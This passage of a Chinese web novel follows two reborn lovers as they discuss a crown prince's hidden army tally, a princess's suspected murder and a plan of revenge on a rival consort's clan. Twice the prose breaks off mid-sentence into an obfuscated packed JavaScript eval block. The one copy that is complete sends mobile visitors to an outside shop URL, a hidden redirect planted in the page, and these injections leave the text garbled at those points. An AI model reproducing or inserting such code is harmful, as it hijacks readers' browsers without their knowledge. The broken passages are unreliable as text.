太极殿寂静得像是有胆小官员的心跳声在急跳,被哥哥特意从姑苏叫回京的魏王看呆滞得像是傻掉了,庄淑妃满脸苍白惊恐堪比见到索命的厉鬼,哪怕授康帝也愣着,似乎怎么都不敢相信眼前这幕是真,还是太子倒在血泊中的呼喊声将他叫醒。 血溅当场,皇太子温热的鲜血染尽太极殿的金碧辉煌,悼太子就倒在血泊中,在临死前在百官面前恳求皇帝父亲:“孩儿以命担保绝无虚言,楚王谋逆,求父皇将楚王兄妹赐死。儿臣死后唯恐妻儿和同母弟妹多遭攻讦,请父皇应允将河间军留给魏王十二年。 十二年后,魏王满三十岁,过了而立之年,他往后的路怎么走,孩儿不管,可魏王还年少时我这同母哥哥只能替他多操心。东宫的姻亲和属官乃至太子妃母子可尽数贬做平民,儿臣只求保下河间军护亲弟安稳,求父皇念在孩儿将死的份上答应儿臣吧—— 自即日起,十二年内,不调动更换河间军任何将官,河间军只凭兵符行事,兵符不出,河间军不动;但若儿臣的妻儿和同母弟妹遭暗害,则不必兵符,任凭河间军剑指何方。 孩儿已将兵符交给最信赖的人保管,亦给河间军留有能验证托付兵符之人的信物,河间军唯有见到信物证实身份方才会听从兵符行事,孩儿也嘱咐此人留河间军只为自保,非必要绝不出动河间军;此人,魏王认识,父皇母后也认识,父皇就答应孩儿吧。” 老皇帝答应了,只是,他虽把楚王及其同母妹妹贬做庶人赐死,也硬是在五万河间军的兵锋前保住废楚王的生母庄淑妃和同母弟弟晋王。自此,魏王和晋王不死不休。 “我不懂啊……” 时隔多年,霍灵渠追忆这段往事仍觉苦涩悲凉:“废楚王固然野心勃勃,可若没有老皇帝的推波助澜又何至于能将悼太子逼至绝境最终竟以自刎来求救。 储君被亲爹逼得以自刎来求助,到底何苦,我不明白,老皇帝既不册立庄淑妃做继后又何必捧废楚王,何苦生生逼得悼太子只能以死来保全他身后的人?” 是很残酷,可在皇权面前哪儿会有亲情,晏霁之握住她的柔荑,叹惜道:“授康七年,老皇帝将十四岁的嫡长子册为储君,到授康二十二年时都已经15年了。 一个入主东宫十多年已近三十岁还仁厚宽博挑不出错来的储君,他的皇帝父亲容不得,连让他和新册封的霍皇后相互制衡都不愿意而宁可捧新储君,就这么简单而已。” 霍灵渠真觉讽刺:“呵…哈哈,庄太妃的四个儿女加起来恐怕都没有悼太子有孝心!” 相较而言,晏霁之平淡得毫无波澜:“又能如何,看看嬴忱璧,可是老皇帝主动禅位,可再过几年圣人为重登大宝必将暗害嬴忱璧,嬴忱璧难道不无辜吗? 何况嬴忱璧没有孝心吗?我现在觉得嬴忱璧对父皇的孝心应该是真够可以的,有用吗,圣人会手软吗?对太上皇而言,看儿女们孝心的前提是没有妨碍到他,甚至于如果杀尽儿女能够让他得享长生,你以为他会有丝毫的怜悯和犹豫吗?” 霍灵渠哑然憋半响冷笑:“老皇帝、太上皇、圣人,他自称寡人真是太称他了!” “寡人喻指寡德之人而非孤家寡人,此乃君王自谦和警戒自身的称谓。”晏霁之普及。 霍灵渠停顿两拍后以死亡般的凝视幽幽看向他,晏霁之移开眼,从竹篮里取出俩葫芦把装羊奶的葫芦递给她,自己喝口果酒后装随意侃:“魏王找到兵符了?” 晾过片刻,霍灵渠喝两口羊奶当翻篇,不答反问:“任逍做细作会是冲着这枚兵符吗?当年因保河间军给魏王,任家被贬做平民,念及此,任逍若想窃取别的,我可以睁只眼闭只眼;但若她是冲着兵符而来,我只能逼魏王把她送走。” 晏霁之斜睨她两眼假装不吃味尽量显得没有阴阳怪气:“此事可大可小端看魏王心意,若是魏王扛不住表妹寻死腻活和舅舅哀求, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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霍灵渠心里咯噔声,几经思量都驳不了,猛按太阳穴:“你有办法吗?” “你和魏王谈谈,魏王能收就让他痛快收下这位表妹吧;若是魏王宁死都不想沾,你让魏王利索挑个男人把这位表妹送到人家床上,赔份嫁妆打发瘟神走吧。” “好,若是任逍做细作真想盗兵符交给庄太妃,我和魏王谈。”霍灵渠绕回问题问他,晏霁之偏偏要先拿他的答案:“你先说魏王找到这枚兵符了吗?” “此事和你又没关系,你想知道作甚?”霍灵渠态度软化,晏霁之搂她笑:“好奇啊,看不懂魏王对这枚兵符的做派,疑惑留在心里总有点百爪挠心的。 又不能问魏王,你若晓得我当然要请教你啊。若是你对魏王清楚多,我这儿还有桩疑难要请教你呢,倒也不是我的困惑,是别人托我帮忙查查;我听来也觉得怪,魏王背后是不是还有什么人或者什么势力在强压他逼他屈从?” “没有呀。”霍灵渠惊讶:“不可能吧,我从来没听闻过,你从哪儿得来的消息?” “护国公府!”晏霁之也带出点思虑:“授康二十八年定襄之围,若非魏王死命相保哪能有护国公府喘息之机及至化险为夷,他家原以为是魏王自导自演在背后操纵整场想令他家对魏王效死忠,可事后纠察,护国公发现事情不对劲。 魏王应该是想把护国公府连根拔起好安插他自己的人马,事到临头,他怎么可能顶着他自己损失惨重来变卦逆转?故而,护国公怀疑是魏王背后还有人在强压他屈从。” “哦…这样啊。”霍灵渠煞有其事:“有机会我探探他的口风。”然后特别好说话地告知:“魏王找到保管兵符的人了,但是对方担心他瞎折腾,不愿意把兵符交给他。” 晏霁之诧异了:“保管兵符的那位不愿意把兵符交给魏王?”是他们太想当然吗,觉得魏王找到人就能拿到兵符?他很怀疑:“魏王几时找到人的?” “授康二十八年。”霍灵渠爽快告诉他,晏霁之沉默下抬手按按太阳穴,豁然想通了:“难怪我瞧着魏王这几年对找兵符就是副意兴阑珊的德行。”话落,他意识到症结:“等等,你说的是今生还是前世,你不会想告诉我是前世授康二十八年吧?” 霍灵渠感觉怪怪的:“前世授康二十八年呀,不可以吗,你有必要这样吃惊吗?” 晏霁之喘喘气,服道:“能不吃惊吗?我们以为他前世就没找到过乃至现在还没找到,谁能想到他那么早就找到兵符了竟也能毫无动静,这简直不是他的作风。” “悼太子把兵符托付给谁保管了?”晏霁之还真好奇:“这位是孤家寡人吗?他居然非但扛住了魏王这么多年威逼利诱还能令魏王折腾到反而自己放弃,厉害啊。” “你猜呀,你把所有符合条件的人挨个猜遍肯定能猜出来。”霍灵渠说,晏霁之呵呵:“什么条件?悼太子临终前说保管兵符的人,魏王认识,父皇母后也认识,这算什么线索,我绝对不相信魏王仅凭这番说辞就能找出此人的下落。” 霍灵渠瞟瞟他,以防贼的态度宣告:“好了,莫再打听了,我有做细作的操守,再多不能告诉你;你就告诉我,你觉得任逍会是冲着兵符吗?” 晏霁之莫名被逗乐就觉得怎么瞧怎么有喜感,憋笑道:“好、好好,你有细作的操守,我不打探那位是何许人也了,好吧。至于任逍,不会有疑虑,定是冲着这枚兵符。” “呵…”霍灵渠讥讽牵牵唇,晏霁之叹口气拿葫芦喝两口果酒,将此事翻篇,拎竹篮、牵着她的纤手往前走,走过葱郁的林荫路走到视野开阔地,哄她往前看。 竟有片稻田,霍灵渠心情阴转晴:“彧伯种的呀,彧伯怎么连稻谷都自己种呀?” 晏霁之带她找块石墩坐,把竹篮搁在旁边,将女人抱在怀里,解释道:“这是占城稻①,源自交趾国南面的占城国,也是交趾、真蜡等国普遍种植的稻谷。 前世正徽元年,福建巡抚将占城稻呈报朝廷,据说此稻耐旱、不择地而生、收成极快。我正在试验,倘若此稻种当真如此优良,应该把这份功劳送给谁。” 霍灵渠诧异:“你自己不出面吗?倘若这稻这样好,在全国推广,能给国家增收多少粮食又能多令多少百姓吃饱呀,这可是利国利民能载入史册的大好事呀。” “前世正徽元年才报给朝堂,今生提前七年,嬴忱璧岂能不起疑?况且,这荣誉对我和晏家不是荣耀而是重负,我和阿漾商量想把功劳送给他,他斟酌再三都还是推辞了。” 晏霁之思虑道:“好在,福建和广南等地引进占城稻已有好些年,是常与外商往来的商贾们带回国境内的;找到合适的人呈报给朝廷,嬴忱璧应该不会起疑。” 霍灵渠嗯声,倾靠在他怀里,晏霁之怀抱女人,安静凝望茁壮生长的稻谷。 他们在稻田前坐两刻钟后相携离开,找溪涧捉鱼再捡木柴堆火架烤鱼,玩得不亦乐乎。 鱼肉烤熟的焦香味传来,他俩各自就着串鱼的树枝拿烤鱼离开烤火架前走向旁边大石,大石上已铺摆好竹篮中的糕点酒水和果子核桃炙肉,就等着他们美餐一顿了。 撕两片外焦里嫩的烤鱼肉吃下,霍灵渠念起:“若是四姐姐还活着该多好,四姐姐生前最喜欢轻快玩耍的鲜活,她若还在,今日定属她笑得最高兴。” 晏霁之没接话,霍灵渠抿唇笑笑带着几丝伤情:“我走后,嘟嘟是给四姐姐养了吗?” 嘟嘟是霍灵渠童年养的小狗,像团雪团似的圆滚滚胖嘟嘟的小狗,晏霁之刚应是啊就惊觉有些不对劲:“你怎么知道,怎么猜得呀,这都能猜得出来?” 霍灵渠心酸翻涌,她压抑住酸涩尽量淡淡笑:“嘟嘟认得我,是真是假它嗅得出,我还曾担心过假冒货会想把我的嘟嘟扔掉,但想有四姐姐在,嘟嘟应该能安全的。” “对,你猜得对。”他们当时都没发现反而是小狗察觉出不对劲,是怪煽情,晏霁之都觉得有点涩然:“霍家那场大火后,嘟嘟怎么都不愿意再亲近那假货还常常冲她狂吠乱叫,假冒货确实想把嘟嘟扔掉,还是表姐出面把小狗带回皇宫里养。” “表姐病逝前把小狗转托给我,可嘟嘟它病恹恹的整日都没精打采,我怎么都养不好;表姐走后才大半年,嘟嘟就也跟着没了。”晏霁之掏手绢擦眼,真郁闷被只小狗煽情到了,霍灵渠苦涩:“我都没想到四姐姐十三岁就病逝了,四姐姐怎么会走得这样急呀?” “表姐身体不好,娘胎里带出来的病弱,你也知道的。” “太医明明说只要四姐姐好好调养,活到二十岁乃至更久都不成问题呀。” 霍灵渠抬手擦把眼忍住将喷涌的泪意:“四姐姐染什么重病了吗?” 晏霁之僵下还是残忍给答案:“表姐的身体要好好调养更要她心情愉悦,可霍家大火后她以为假冒货是你,面对假冒货因被毁容而癫狂,她一直郁郁寡欢。” 霍灵渠愣住:“四姐姐没得重病只是心情瘀滞吗?”她不由自主拧眉:“你确定吗?亲娘病逝的难受,四姐姐都挺过来了,四姐姐说过会为逝去的姐姐、弟弟和母妃好好保重自己,她要努力活到出阁嫁人再生儿育女祈盼白发苍苍儿孙绕膝日,怎么可能……” 晏霁之如遭电击:“灵渠,你什么意思?” “我觉得不可能呀,只因假冒货被毁容而癫狂,四姐姐就能郁郁寡欢到仅一年就病逝?我只觉得荒谬,除非四姐姐托梦告诉我,否则我真不能相信。”霍灵渠谴责他:“我看多半是你对你表姐不够关心,当时她染重病或者有心事,你居然都不知道。” “嘟嘟嗅得出假冒货是假的,表姐养嘟嘟后通过嘟嘟的异常是否也有察觉出不对劲?”晏霁之只觉身体里像有团火要燃烧:“有可能会是庄太妃一不做二不休吗?” 霍灵渠霎时变脸,直挺挺蹦立起来,晏霁之冷笑声,握着的串烤鱼的树枝瞬间被折断。他们前方的溪涧碧潭盛满熠熠碎金,在这样灿烂的晴好天里,不负韶华美。 82. 第82章 夕阳斜照山林,人影成双,相携走过黄昏恋恋晚霞绽放。 回到山庄,霍灵渠挽袖管洗菜做饭,晏霁之把要煲鸡汤的母鸡料理好就坐在灶前烧火。厨房里忙忙碌碌,厨房外炊烟袅袅,直至米饭飘香,厨房的忙碌之景方才慢下来。 红枣党参鸡汤、糖醋鱼、油焖春笋、清炒莴笋丝、肉糜蒸蛋,仍是丰盛的四菜一汤。 晚膳端上桌,霍灵渠盛碗鸡汤递给他,晏霁之接过鸡汤专注用晚膳;过半响,瞩目他的视线仍未消失,他拿手绢擦擦唇,抬眸规劝:“用膳吧,不然饭菜该凉了。” “整下午,你的心都很沉,你在自责。”霍灵渠说,晏霁之答:“你多虑了。” “你是在自责,你认为你的表姐是被暗害而亡,你觉得是你对表姐疏忽才令她枉死。”霍灵渠对晏霁之的心思多少能捏准四五分,何况这男人现在就差把自责写在脸上了。 “倘若四姐姐当真枉死,我们想报仇的心是一样的。”霍灵渠殷殷劝解:“你曾提起过假冒货在授康十七年元宵后就离京,可四姐姐是当年寒冬病逝,相隔将近一年呢。 倘若四姐姐在假冒货远走山东前就察觉出异样了,她有的是机会告诉外祖家人,晏家再知会霍家,霍家当年就会起波澜;你当时才12岁,你能有什么疏忽?” 晏霁之手指微僵,显然这番引证他还没思虑过。霍灵渠放软声音哄:“我就猜你在钻牛角尖,四姐姐的死要翻查,可你先入为主还能查出真相吗?” 晏霁之不语,在霍灵渠想再规劝前,他缓缓讥诮:“我在想,假若我表姐是被害而亡,假设就是庄太妃做的且与我表姐对假冒货起疑没关系,还会是什么缘由?” 霍灵渠问什么缘由,晏霁之冷冷吐出三个字:“嬴丹若!” “嬴丹若?太上皇已故的三公主、庄太妃的长女?”霍灵渠莫名心漏掉拍,既难以置信又偏偏隐约觉得是个疑点:“三公主能有那么阴狠狭隘吗?” “呵!哈!”晏霁之攥拳,手背青筋直暴,眼底凶狠毕现:“她什么德行,你没见过吗,当年庄淑妃与霍德妃争继后位,她有多张牙舞爪,你没看见,我看见了。悼太子将她钉死,魏王亲自送她上路,她疯癫疯魔得四个彪形魁梧的禁军都险些压不住她。” “你当她是个什么货色?!” 近嘶吼而出,晏霁之目光嗜血像是随时会发出攻击的豺狼:“太上皇的众公主当中,我表姐四公主比三公主得父皇疼爱,仅凭此,你以为她会容忍吗?何况四公主有时还会压压三公主的气焰,她岂会没有将我表姐恨毒?!” “霁之?”霍灵渠看得心惊:“总要查证过才好定论。” “我会的。”晏霁之答得淡漠极了,淡得像深海表面的海水,淡得叫霍灵渠惴惴难安,她犹豫下还是站起来,走到男人面前,握住他的手相询:“你想做什么? 假若四姐姐当真是被庄太妃和三公主害死,三公主早已死去,撇除让庄太妃偿命之外,你还想做什么?看着你,我总有些心慌,我感觉你还会想要卷进许多人。” 一瞬间,晏霁之只觉得昨夜他调侃自己在这个女人面前都快无所遁形了真准啊,无形的隔阂在两人中间悄然筑起,他抽出被女人握住的手,对她说:“饭菜该凉了。” 霍灵渠下意识想再劝解,下个念头又想过犹不及,晏霁之此时心情沉重想安静,劝得多反而适得其反,且还在晚膳时候,便含笑应好。 他们晚膳用毕,霍灵渠收拾碗筷拿到厨房洗涮,再清扫厨房烧热水。 热水滚沸,她走出厨房想去叫男人,哪想看见晏霁之就站在厨房前的庭院中遥望星空;她走到廊前抬首而望,遥见银河璀璨像是吸尽世间光华。 未久,夜空飘来乌云徘徊,残月隐没,浩瀚苍穹唯剩点点残星留恋未退。 寂静深夜里,洗漱好的俩人靠在床头各自抱书卷研读,晏霁之专注看书,霍灵渠明显感觉到男人对她的冷漠,正常情况下晏霁之会搂着她看书而非让她自己看。 烛火在烛泪滴淌中逐渐昏暗,霍灵渠收起两人的书卷放进书柜,走回床前,晏霁之已经自顾躺下,这举动对于他们都心知肚明:宣示分被窝睡。 霍灵渠伸手把他的棉被掀掉,晏霁之闭眼提醒:“给我盖好。” 臭德行!有本事你自己再铺个被窝啊,这可是我铺的被窝,霍灵渠平复下,躺他怀里,拉拉棉被盖好,晏霁之拒绝道:“今夜我想独自安寝,你打地铺吧。” 我还想打你呢!霍灵渠只当耳旁风般怀抱他撒娇:“我做错什么了,自从你扔卷书卷让我自己看书起,你对我就冷漠得叫人发指,你嫌我被皇帝抱过了是吧?” “休要胡搅蛮缠,我只想独自安寝而已;你去打地铺吧,我要歇息了。” “可人家想要你啊。”霍灵渠耍坏:“我们在皇宫外私会,抱过亲过还相拥而眠,有没有行床帏中事还有区别吗?何苦这样委屈自己呢,我觉得还是及时行乐好。” 晏霁之强装淡定:“休要胡闹,你除掉贵妃身份后我们再行乐不迟,打地铺去吧。” 霍灵渠只边撒娇边给男人脱寝袍,晏霁之推开她坐起,郁闷地拉拉寝袍,跟她打擂台:“难道贵妃娘娘现在就已经是如狼似虎的年纪了吗?” “谁叫我进宫前几日你太坏呢。”霍灵渠笑盈盈扑向男人,晏霁之怕自己忍不住地避,板起脸装做微有怒意训斥:“够了,灵渠!” “霁之你反应不对呀?”霍灵渠看他怎么看都有点狼狈,她将男人堵在床角落,坏笑:“莫非是我进宫前那几日,你伤到了?” “胡说!”晏霁之脸黑警告:“再胡说八道胡思乱想,休怪我对你不客气啊。” “如何不客气呀?”霍灵渠乐得险些没绷住,欢欢喜喜扑进男人怀里抱着他蹭啊蹭,浑然副女流氓的德行:“人家等着你的不客气呢,来吧~~” 晏霁之终于意识到选错位置了,避在角落里只有被她围堵的份儿了,憋屈得负隅顽抗:“你再胡闹,我可不会给你准备避子汤,等你有身孕时可别找我哭。” 霍灵渠憋笑憋得都差点花枝乱颤,她居然能把晏霁之逼得都傻了,扬扬精致的俏脸,捏住得意洋洋的劲儿反威胁:“哭什么呀,若是皇帝发现我有身孕,我定然不会隐瞒的,届时皇帝雷霆大怒要诛杀晏家和霍家,你不在意,我怕甚?” 晏霁之后知后觉发现这是他的必输局,退让道:“灵渠,别闹了。” 霍灵渠很好脾性得乘胜追击:“好,你自己说你对我耍的这场冷漠算什么呀?”话落,她自顾抱怨猜测:“你觉得我和你对于给四姐姐报仇的态度不同是吧,若四姐姐被害而亡,我会主张只让凶徒偿命,你则不然,就因此,你故意给我摆冷漠?” “唉,你呀!”晏霁之重重叹口气,将女人搂在怀中抱抱好,敞开心怀说:“看看你对给自己报仇的态度,你还想拿你的态度来劝我,我可不就生气了吗?” “我都还没劝呢。”霍灵渠嘟囔,跟他要准话:“那你想殃及多少人?” 沉默过,晏霁之以聊家常闲话的姿态给出最冷漠的答案:“一个不留。” 霍灵渠既觉受惊吓又有种预感到的平静,注视他会儿后要求:“再说确切些。” 晏霁之眼眸沉沉放话:“倘若我表姐是被庄太妃母女暗害而亡,庄太妃和晋王连同嬴丹若留下的独女以及废楚王的儿女还有庄家,我一个都不会放过。” “心意已定?”霍灵渠确认,晏霁之眼中沁出恨意:“灵渠,你该知道,我姑母在深宫中熬干心血红颜早逝、祖父祖母白发人送黑发人有多痛;姑母有三个儿女,一个都没留住,倘若表姐还是被害而亡,我家时隔15年才发现,情何以堪?! 对,你猜的对,在我心里我姑母更像我娘,表姐若是被害死的,我无论如何都做不到只除掉凶手就罢休。你不要劝我,我不想因此事和你吵。” 霍灵渠似是很认真得挣扎过:“你答应给我解答两个疑惑,我就答应你,不劝了。” 闻言,晏霁之反而有点意外她这样好说话,霍灵渠冷哼:“难道我就是又爱多事又悲天悯人心肠泛滥的滥好人吗?我对报仇的态度是我的事,作甚非得强加给你?” 晏霁之终于有点笑意:“好好好,怪我以小人之心,我的不是,有任何疑惑你尽管问,我保证知无不言。”然后他就有点悲催了,霍灵渠提条件:“你姑母问你可愿娶灵渠做媳妇,你的作答?前世住进城郊竹屋,你为何在试探时碰我?” 呃……晏霁之想和她打商量,霍灵渠抢前压制:“这两个答案见不得人吗?” “没有,怎么会?”晏霁之做不出拿假话糊弄,干脆豁出去:“七岁时,姑母问我将来娶灵渠做媳妇好不好?我答:丑丫头,长得够漂亮再说吧。” “至于前世,为何我们住进城郊竹屋的第四天我就碰你了?”念往昔,似今朝,晏霁之仍有感触得滋生苦涩,半阖的眼帘轻颤,眼中不由自主流露心酸:“我怕你走,我想,你我若有夫妻之实,我再多多守着你,哪怕你过不惯苦日子,你也不会走了。” 霍灵渠心尖丝丝刺痛,晏霁之多骄傲呀,他……前世他就能卑微得怕她离开? 女人盈盈剪瞳中涩然伤悲的柔情洋溢,不由自主抬手抚过男人清减的俊颜,尚未言语,晏霁之近乎本能地抱她亲吻,什么都不及亲近的渴望,床帏中霎时热情如火。 四陷的黑暗逐渐召回俩人的清醒,晏霁之缓过后抱她坐起,摸黑去点支蜡烛。 披染朦胧的烛光亮起,晏霁之抱她走到圆桌前坐,给彼此倒杯茶水喝,霍灵渠埋头捧茶杯都没敢看这男人;毕竟她没想藕断丝连,险些没把持住叫她此刻羞赧极了,而她这模样看在男人眼中恰似羊脂白玉里渗进鲜红血丝,每丝每缕都散着诱惑。 “真是要了命了!”晏霁之真觉得自己不容易:“本少爷到底何苦来哉?” 霍灵渠羞红的俏脸再添分热,慢腾腾憋出五字:“我打地铺吧。” 晏霁之犹如望梅止渴般抱她再热吻缠绵会儿,霍灵渠想拦都拦不住,吻毕,他指腹按按女人娇嫩欲滴的红唇:“我们说说话吧,若实在不行,我再洗凉水澡。” 深知男人脾性,霍灵渠没再提由自己打地铺,喝下半杯凉茶,她即劝:“你忘掉我吧,你让我适应好没有你,你就忘掉我吧。 我知道我这样很没脸没皮,可我想不到好办法了。我想上半年内我总能适应好没有你,你也尽量在今年忘掉我,我们今后做朋友,做只谈风月的故人吧。” “我给不出你要的答案。”晏霁之抚抚女人诱他采撷的唇瓣,下意识想吻时强行克制,连忙跳话题分散注意力,不然真怕自己忍不住:“哦对了,你回皇宫后找你姑母要份我表姐生前伺候过她的所有宫婢的卷宗,过几天我去找你拿。” “好!”霍灵渠只得陪他跳话题:“当年我姑母还照顾过四姐姐几年呢。” “是啊,谁曾想,当时我还曾以为姑母会将表姐托付给原贤妃,哪想竟是托给你姑母;我姑母生前和你姑母虽然经常小打小闹,但骨子里还是很信任彼此的吧。” 霍灵渠赞同:“嗯,我都觉得两位姑母当年常拌嘴反而像是生活中的乐趣,我姑母虽然经常被你姑母气得跳脚,但她从不当回事儿更没有放在心上过。 我姑母做德妃时唯独只恨庄淑妃压着她,淑德贤三妃虽然都是从一品,可淑妃的排名在德妃前面,我姑母当年恨得牙痒痒,真没少闹腾要把庄淑妃挪掉。” 晏霁之不带情绪的评价:“论后宫争宠,庄淑妃确实厉害,前有任皇后,后有霍皇后,居然都没能把她摁死,庄家的聪明劲儿估计全长在她身上了,庄家才扶不起来。” “不厉害,她能在32岁生下第四胎吗?”霍灵渠扳手指数数:“太上皇的嫔妃中,怀胎次数最多的是她吧,生育年龄最高的也是她吧;三十多岁啊,莫说嫔妃,官眷都没几位能在这岁数还怀胎,她这份盛宠,我觉得她才像太上皇最爱的女人吧。” 闲聊会儿总算让彼此间的燥热减退些,晏霁之舒口气说:“我姑母和你姑母还有任皇后都在年近三旬时生育过第三胎,庄太妃能在32岁生第四胎只能算她最会讨圣人欢心吧;可她若是圣人的心头爱,她还用费心思争宠吗,继后位还能轮到你姑母吗?” “我姑母第三胎生育的孩儿?”霍灵渠微怔:“授康二十年出生,太上皇的八公主?”她哀怜叹息:“我大姐还说呢,太上皇的众公主,掐头去尾,纤若一枝独秀。” “舒窈形容得还是很贴切的,一枝独秀。”晏霁之不厚道地想笑,霍灵渠拍他下嗔怪:“这有什么好笑,你两位表姐都还在太上皇已故公主的行列中呢。” 她皱皱眉怀疑:“说起来,二公主病弱早夭,三公主被赐死,四公主可能是被害而亡,六公主也许是冒充桑柔的假冒货,七公主和八公主呢,真的都是病逝吗?” 晏霁之形容略微沉寂些,可能是对后宫倾轧的触动吧:“都不是,七公主在授康十六年任皇后薨逝前月出生,是太上皇已故的汪嫔所生,这位汪嫔家世不显。 任皇后薨逝才十多天,鞠婕妤也就是而今的鞠太妃因丧仪受累之故早产生下位公主,小婴儿没满月就夭折,公主的齿序都没排,鞠太妃心中有憎恨迁怒。” 霍灵渠听得明白,张张唇终究还是未作评置:“我姑母的八公主呢?” 晏霁之看着她略有犹豫,霍灵渠奇怪催促:“说呀,这有什么不能告诉我?” “授康二十一年,鞠昭容诞下圣人的十皇子,鞠昭容也因此晋升为从二品鞠妃,十皇子未满三岁夭折,鞠妃认为是你姑母做的。”晏霁之影射得清楚,这就不是秘密,霍灵渠定定注视他半响问:“你知道我姑母什么脾性吗,鞠太妃为何还活着?” “你应该很清楚,是圣人护着。”晏霁之规劝:“灵渠,八公主被害快九年了,霍家这么多年都忍过来了,你若拿此事来发作岂不白费你姑母和霍家多年隐忍吗?” 霍灵渠真觉得荒唐:“老郢国公和我祖父曾是拜把兄弟。” 晏霁之叹息:“自授康二十二年下半年至授康二十五年间属鞠妃最得宠,授康二十四年时,鞠妃更是由从二品妃跃升为从一品鞠贤妃。那三年半,老皇帝摆明是以抬举郢国公府来辖制已晋做后族的霍家,霍皇后向来嚣张少忍,鞠家的猜测在情理中。” 霍灵渠问他:“你也怀疑太上皇的十皇子早夭是我姑母做的吗?” 晏霁之摇头:“我怀疑是圣人自己做的。”惹得霍灵渠惊叫:“什么?” “当时鞠贤妃虽然隐在背后,但明眼人都瞧得出,霍皇后恨得要将鞠贤妃剁成肉碎,是老皇帝维护,生生逼着霍皇后吞下丧女之痛,何况此事只有他获益。”晏霁之提醒:“若能用十皇子的死来影射霍皇后、给郢国公府埋股对霍家的恨,他稳赚啊。 牺牲他两个年幼的儿女,挑起鞠家和霍家的敌对以弥补废楚王死后对霍家缺少的辖制;在他的皇权面前,他会在意那点骨肉情吗?” “呵!!”霍灵渠想恨都愣是被气笑了:“太上皇清楚他的七公主因何病逝的吗?太微宫有二十多位太妃,皇宫里有五十多位太妃,他已亡故的嫔妃数比活着的太妃还多,少说二百个女人,他相待最好最对得住的就属庄太妃和鞠太妃吧?” “只有庄太妃。”晏霁之再曝料:“前世,庄淑妃死在授康三十六年。霍家逼宫,霍皇后被赐死,由鞠贤妃代管后宫,没两个月,鞠家被大肆清算,最终,鞠贤妃被废为庶人赐死,郢国公府被夺爵抄家、夷三族。鞠家会被判夷三族,当时是真出人意料。 大家这才明白,他对鞠家早就不想留了,霍家败落,鞠家自然走到头了。” “夷三族?”霍灵渠惊讶,细想之下更是一惊:“是前世授康三十七年?” “嗯。”晏霁之执起茶壶倒两杯凉茶,递给茶给她,他端茶杯饮茶。 “我姑母的八公主是授康二十四年被害的?”霍灵渠确认遍,晏霁之再嗯了声,嗯过才咂摸到她不对劲:“你觉得,霍家会隐忍十三年不正常?” “是鞠家被夷三族不正常。”霍灵渠解释道:“倘若只是八公主的死,让鞠贤妃抵命乃至把鞠家嫡系全都算上呢,足够了。若只是八公主的死,我祖父不会下这么重的手。” 晏霁之纠正:“当时老穆国公已经过世了。” 霍灵渠看他眼,摇摇头,坚持道:“是我祖父生前安排好的。” “不至于吧?”晏霁之不是不相信老穆国公厉害,但死后还能算计到令鞠家被夷三族?他看向霍灵渠,霍灵渠捧着茶杯喝茶没兴趣争论。他略想想,放下此事,捏捏女人的小脸,哄道:“要不要猜猜前世里庄淑妃是怎么死的?” “嗯?”霍灵渠愣下怀疑:“不是病逝?” “当然不是病逝,前世皇宫中传出的消息,宫人们整理遗容都阖不上尸体瞪大的眼睛,死不瞑目啊。”晏霁之略显吊儿郎当地说风凉话,霍灵渠莫名瘆得慌,都有点起鸡皮疙瘩:“谁做的呀,后宫中还有谁能害死她,若不是后宫,难道是魏王吗?” “我相信,前世和今生,庄太妃都深信是魏王做的,前世她没有防住被魏王得手了。”晏霁之捏捏美人的俏脸,唇畔笑意洋溢:“可惜是嬴忱璧做的,她找错仇家了。” 霍灵渠诧异:“啊?怎么会,前世,越王和庄淑妃有仇吗?” 晏霁之哼笑:“没有啊,可皇宫中对付谁是讲仇怨吗,首要讲对自己有利吧。” 霍灵渠沉默几息,没再刨根只觉疲惫:“你说,嬴忱璧会变得像他父皇那般冷血吗?做皇帝就必须残忍无情吗?”她也没要回复,随即就道:“我累了,我们歇息吧。” 晏霁之应好,抱她回床铺就寝,待她睡熟,再悄悄离开,去洗凉水澡;冲过凉水澡舒坦些再回床里;真不知是否该庆幸他们只相处三四日,否则他真得忍不住了。 烛火熄尽,黑暗在轻微的呼吸中游走向夜的深邃,以至柔静谧呵护夜间的奇妙梦境。 当梦消黑夜退,在黑暗中孕育出的曙光犹如破茧重生般在天际点燃鱼肚白,枕戈以待的朝阳冲破重重叠嶂登顶云巅,新日的朝气蓬勃照耀世间千千万生命。 庭前暖洋洋,俩人用过早膳后便搬躺椅备酒水,在庭前晒太阳。 他俩还时不时亲热,虽然都想克制,可男女腻歪着哪有那么容易压抑。 晏霁之哀怨:“你若还是我的流光该多好啊。” 霍灵渠不搭话,只慵懒的窝在他怀里晒太阳,晏霁之再抱她亲热会儿后想起来:“再过半月就到你二十五岁的生辰了吧,我送两本画册给你?” 很好,被他成功的毁掉慵懒散漫,晏霁之可能会送什么图册,彼此间这点默契绝对准,霍灵渠再三深呼吸都不想忍:“你的春宫图还有完没完了?” “你若是不喜?”晏霁之好脾性地商量:“我亲自画,把画中的男女换作你我?” 霍灵渠被僵住会儿后抓狂地跟他打架,晏霁之轻松制住给他挠痒的女人,欠打地退让:“好好好,我再考虑,反正随时都可以给你送,不一定非得做生辰贺礼。” “天爷啊,好端端的,你又想怎样嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459274|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”悲催的是霍灵渠不敢烧画,她若烧画,这男人若是做出更疯的举动来不得折磨得她崩溃掉,否则送多少烧多少,她早随意了。 “呃,本来我没有想法,只是单纯想给你送两本画册,但你突然这般问?”晏霁之坏笑着凑近她耳畔挑逗:“要么咱们熬避子汤喝,有备无患;要么你帮帮我,如何?” 霍灵渠真想拍掉他的脸,但她还真拿不准他的态度,毕竟比起前两日的坚守,他们今日更像在放纵自己,她甚至说不准自己是否排斥:“你逗我还是说真的?” 